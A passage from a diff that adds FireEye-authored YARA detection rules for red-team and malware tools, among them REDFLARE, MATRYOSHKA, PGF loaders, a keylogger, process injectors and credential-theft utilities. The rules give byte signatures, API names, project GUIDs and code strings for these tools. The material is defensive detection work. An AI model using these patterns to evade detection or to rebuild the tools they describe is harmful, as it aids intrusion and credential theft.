8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 }
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and any of ($bytes*)
+}
+rule Builder_MSIL_SharpGenerator_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_6
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $s1 = "RevertToSelf" fullword
+        $s2 = "Unsuccessful" fullword
+        $s3 = "Successful" fullword
+        $s4 = "runCommand" fullword
+        $s5 = "initialize" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_Win64_AndrewSpecial_1
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "4456e52f6f8543c3ba76cb25ea3e9bd2"
+        rev = 5
+        author = "FireEye"
+    strings:
+        $dump = { 33 D2 B9 FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 }
+        $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
+        $shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and $dump and any of ($shellcode*)
+}
+rule Loader_MSIL_Generic_1
+{
+    meta:
+        md5 = "b8415b4056c10c15da5bba4826a44ffd"
+        rev = 5
+        author = "FireEye"
+    strings:
+        $MSIL = "_CorExeMain"
+        $opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 }
+        $str1 = "DllImportAttribute"
+        $str2 = "FromBase64String"
+        $str3 = "ResumeThread"
+        $str4 = "OpenThread"
+        $str5 = "SuspendThread"
+        $str6 = "QueueUserAPC"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and $MSIL and all of them
+}
+rule APT_Keylogger_Win32_REDFLARE_1
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "d7cfb9fbcf19ce881180f757aeec77dd"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 }
+        $keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule Loader_MSIL_InMemoryCompilation_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_WMISharp_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win_PGF_2
+{
+    meta:
+        description = "PE rich header matches PGF backdoor"
+        md5 = "226b1ac427eb5a4dc2a00cc72c163214"
+        md5_2 = "2398ed2d5b830d226af26dedaf30f64a"
+        md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b"
+        md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 }
+        $rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 }
+        $rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB }
+        $rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and filesize < 15MB and (($rich1 at 128) or ($rich2 at 128) or ($rich3 at 128) or ($rich4 at 128))
+}
+rule Trojan_Win_Generic_101
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "2e67c62bd0307c04af469ee8dcb220f2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 }
+        $s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? }
+        $s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 }
+        $si1 = "PeekMessageA" fullword
+        $si2 = "PostThreadMessageA" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and @s0[1] < @s1[1] and @s1[1] < @s2[1] and all of them
+}
+rule Trojan_Macro_RESUMEPLEASE_1
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "d5d3d23c8573d999f1c48d3e211b1066"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $str00 = "For Binary As"
+        $str01 = "Range.Text"
+        $str02 = "Environ("
+        $str03 = "CByte("
+        $str04 = ".SpawnInstance_"
+        $str05 = ".Create("
+    condition:
+        all of them
+}
+rule Loader_MSIL_CSharpSectionInjection_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_SHARPWEBCRAWLER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Trojan_Win64_Generic_22
+{
+    meta:
+        date_created = "2020-11-26"
+        date_modified = "2020-11-26"
+        md5 = "f7d9961463b5110a3d70ee2e97842ed3"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $api1 = "VirtualAllocEx" fullword
+        $api2 = "UpdateProcThreadAttribute" fullword
+        $api3 = "DuplicateTokenEx" fullword
+        $api4 = "CreateProcessAsUserA" fullword
+        $inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 }
+        $process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 }
+        $token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule Loader_Win_Generic_19
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "3fb9341fb11eca439b50121c6f7c59c7"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
+        $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
+        $si1 = "VirtualProtect" fullword
+        $si2 = "malloc" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Builder_PY_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "d0a830403e56ebaa4bfbe87dbfdee44f"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $1 = "LOAD_OFFSET_32 = 0x612"
+        $2 = "LOAD_OFFSET_64 = 0x611"
+        $3 = "class RC4:"
+        $4 = "struct.pack('<Q' if is64b else '<L'"
+        $5 = "stagerConfig['comms']['config']"
+        $6 = "_x86.dll"
+        $7 = "_x64.dll"
+    condition:
+        all of them and @1[1] < @2[1] and @2[1] < @3[1] and @3[1] < @4[1] and @4[1] < @5[1]
+}
+rule HackTool_PY_ImpacketObfuscation_2
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        description = "wmiexec"
+        md5 = "f3dd8aa567a01098a8a610529d892485"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $s1 = "import random"
+        $s2 = "class WMIEXEC" nocase
+        $s3 = "class RemoteShell" nocase
+        $s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/
+        $s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
+    condition:
+        all of them
+}
+rule APT_Loader_MSIL_PGF_2
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py"
+        md5 = "7c2a06ceb29cdb25f24c06f2a8892fba"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "\x00ScriptObjectStackTop\x00"
+        $ss3 = "\x00Microsoft.JScript\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_SHARPSQLCLIENT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Methodology_OLE_CHARENCODING_2
+{
+    meta:
+        description = "Looking for suspicious char encoding"
+        md5 = "41b70737fa8dda75d5e95c82699c2e9b"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $echo1 = "101;99;104;111;32;111;102;102;" ascii wide
+        $echo2 = "101:99:104:111:32:111:102:102:" ascii wide
+        $echo3 = "101x99x104x111x32x111x102x102x" ascii wide
+        $pe1 = "77;90;144;" ascii wide
+        $pe2 = "77:90:144:" ascii wide
+        $pe3 = "77x90x144x" ascii wide
+        $pk1 = "80;75;3;4;" ascii wide
+        $pk2 = "80:75:3:4:" ascii wide
+        $pk3 = "80x75x3x4x" ascii wide
+    condition:
+        (uint32(0) == 0xe011cfd0) and filesize < 10MB and any of them
+}
+rule HackTool_MSIL_SharpHound_3
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project."
+        md5 = "eeedc09570324767a3de8205f66a5295"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule CredTheft_MSIL_TitoSpecial_2
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid."
+        md5 = "4bf96a7040a683bd34c618431e571e26"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide
+        $typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and ($typelibguid1 or $typelibguid2)
+}
+rule CredTheft_MSIL_WCMDump_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Builder_Win64_MATRYOSHKA_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        description = "matryoshka_pe_to_shellcode.rs"
+        md5 = "8d949c34def898f0f32544e43117c057"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 }
+        $ss1 = "\x00Stub Size: "
+        $ss2 = "\x00Executable Size: "
+        $ss3 = "\x00[+] Writing out to file"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule Trojan_Win64_Generic_23
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "b66347ef110e60b064474ae746701d4a"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $api1 = "VirtualAllocEx" fullword
+        $api2 = "UpdateProcThreadAttribute" fullword
+        $api3 = "DuplicateTokenEx" fullword
+        $api4 = "CreateProcessAsUserA" fullword
+        $inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 }
+        $process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 }
+        $token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule HackTool_MSIL_KeePersist_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Tool_MSIL_CSharpUtils_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide
+        $typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide
+        $typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide
+        $typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide
+        $typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Trojan_MSIL_GORAT_Module_PowerShell_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide
+        $typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_PuppyHound_1
+{
+    meta:
+        description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound."
+        md5 = "eeedc09570324767a3de8205f66a5295"
+        rev = 6
+        author = "FireEye"
+    strings:
+        $1 = "PuppyHound"
+        $2 = "UserDomainKey"
+        $3 = "LdapBuilder"
+        $init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D }
+        $msil = /\x00_Cor(Exe|Dll)Main\x00/
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Builder_PY_MATRYOSHKA_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "25a97f6dba87ef9906a62c1a305ee1dd"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = ".pop(0)])"
+        $s2 = "[1].replace('unsigned char buf[] = \"'"
+        $s3 = "binascii.hexlify(f.read()).decode("
+        $s4 = "os.system(\"cargo build {0} --bin {1}\".format("
+        $s5 = "shutil.which('rustc')"
+        $s6 = "~/.cargo/bin"
+        $s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/
+    condition:
+        all of them
+}
+rule Loader_MSIL_RuralBishop_3
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project."
+        md5 = "09bdbad8358b04994e2c04bb26a160ef"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_HackTool_MSIL_NOAMCI_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide
+        $typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_PXELOOT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project."
+        md5 = "82e33011ac34adfcced6cddc8ea56a81"
+        rev = 7
+        author = "FireEye"
+    strings:
